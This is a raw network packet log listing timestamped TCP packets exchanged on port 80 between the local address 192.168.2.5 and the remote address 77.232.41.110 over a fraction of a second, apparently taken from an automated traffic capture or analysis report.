Jul 13, 2024 07:07:02.450047016 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.450061083 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.450078964 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.450114012 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.450148106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.450170040 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.450181961 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.450201035 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.450236082 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484333992 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484425068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484443903 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484460115 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484523058 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484555006 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484608889 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484642982 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484675884 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484709024 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484741926 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484776020 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484776020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484776974 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484810114 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484817982 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484817982 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484843969 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484878063 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.484891891 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.484891891 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.485110044 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492218971 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492263079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492321014 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492356062 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492386103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492419958 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492454052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492492914 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492492914 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492528915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492564917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492582083 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492582083 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492582083 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492597103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492618084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492618084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492630005 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492645025 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492659092 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492693901 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492710114 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492743969 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492760897 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492760897 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492783070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492816925 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492840052 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492867947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492907047 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492913008 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492913008 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492939949 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492974043 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.492988110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.492988110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493006945 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.493040085 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.493050098 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493050098 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493072987 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.493108034 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493108988 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.493144989 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.493156910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493156910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.493197918 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.533786058 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.533855915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.533891916 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.533925056 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.533960104 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.533968925 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.533968925 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.533968925 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534013987 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534049034 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534081936 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534118891 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534152985 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534181118 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534181118 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534181118 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534205914 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534240007 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534272909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534306049 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534317970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534317970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534338951 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534368038 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534370899 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534416914 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534430981 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534451008 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534485102 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534487963 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534504890 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534521103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534553051 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534585953 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534600019 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534600019 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534617901 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534651041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534677029 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534679890 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534701109 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534713984 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534737110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534748077 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534765005 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534780025 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534813881 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534821987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534821987 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534845114 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534878969 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534889936 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534889936 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.534912109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534962893 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.534995079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535027981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535039902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535041094 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535064936 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535099030 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535132885 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535144091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535144091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535166025 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535197020 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535216093 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535249949 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535283089 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535303116 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535315990 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535331964 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535348892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535382032 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535414934 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535434961 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535434961 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535449028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535480976 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535515070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535526037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535526037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535547972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535581112 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535592079 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535615921 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535708904 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535708904 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535742998 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535777092 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535810947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535820007 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535820007 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535845041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535862923 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535878897 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535891056 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.535913944 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.535957098 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536075115 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536101103 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536104918 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536139965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536156893 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536156893 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536173105 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536206007 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536215067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536215067 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536238909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536273003 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536281109 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536281109 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536314964 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536392927 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536426067 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536458969 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536500931 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536500931 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536530972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536564112 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536595106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536628008 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536632061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536632061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536662102 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536685944 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536714077 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536768913 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536803007 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536834955 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536868095 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536900997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536912918 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536912918 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536932945 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536946058 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.536966085 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.536987066 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.537002087 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.537024975 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.537058115 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571027994 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571099043 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571142912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571176052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571211100 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571225882 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571225882 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571244001 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571255922 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571279049 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571284056 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571284056 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571311951 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571346045 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571378946 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571400881 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571400881 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571413040 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571446896 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571480989 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571516037 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.571609020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571609020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.571906090 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579215050 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579258919 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579317093 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579344988 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579369068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579404116 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579437971 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579471111 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579483032 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579483032 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579504967 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579521894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579521894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579536915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579560041 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579571009 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579616070 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579619884 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579706907 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579758883 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579782009 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579782009 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579792976 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579824924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579838991 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579838991 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579858065 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579874039 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579891920 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579926968 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579937935 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579938889 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.579960108 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.579993010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.580004930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.580004930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.580027103 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.580060959 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.580075026 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.580075026 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.580182076 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.620913029 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.620982885 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.620999098 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621018887 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621053934 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621089935 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621098995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621123075 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621148109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621153116 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621205091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621239901 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621273994 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621288061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621288061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621305943 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621340990 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621387005 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621387005 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621403933 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621454954 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621489048 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621494055 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621524096 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621536970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621536970 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621557951 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621577978 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621589899 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621618986 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621651888 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621665955 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621665955 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621685028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621717930 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621732950 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621732950 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621751070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621783018 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621798992 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621798992 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621815920 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621848106 CEST	80	58979	77.232.41.110	192.168.2.5
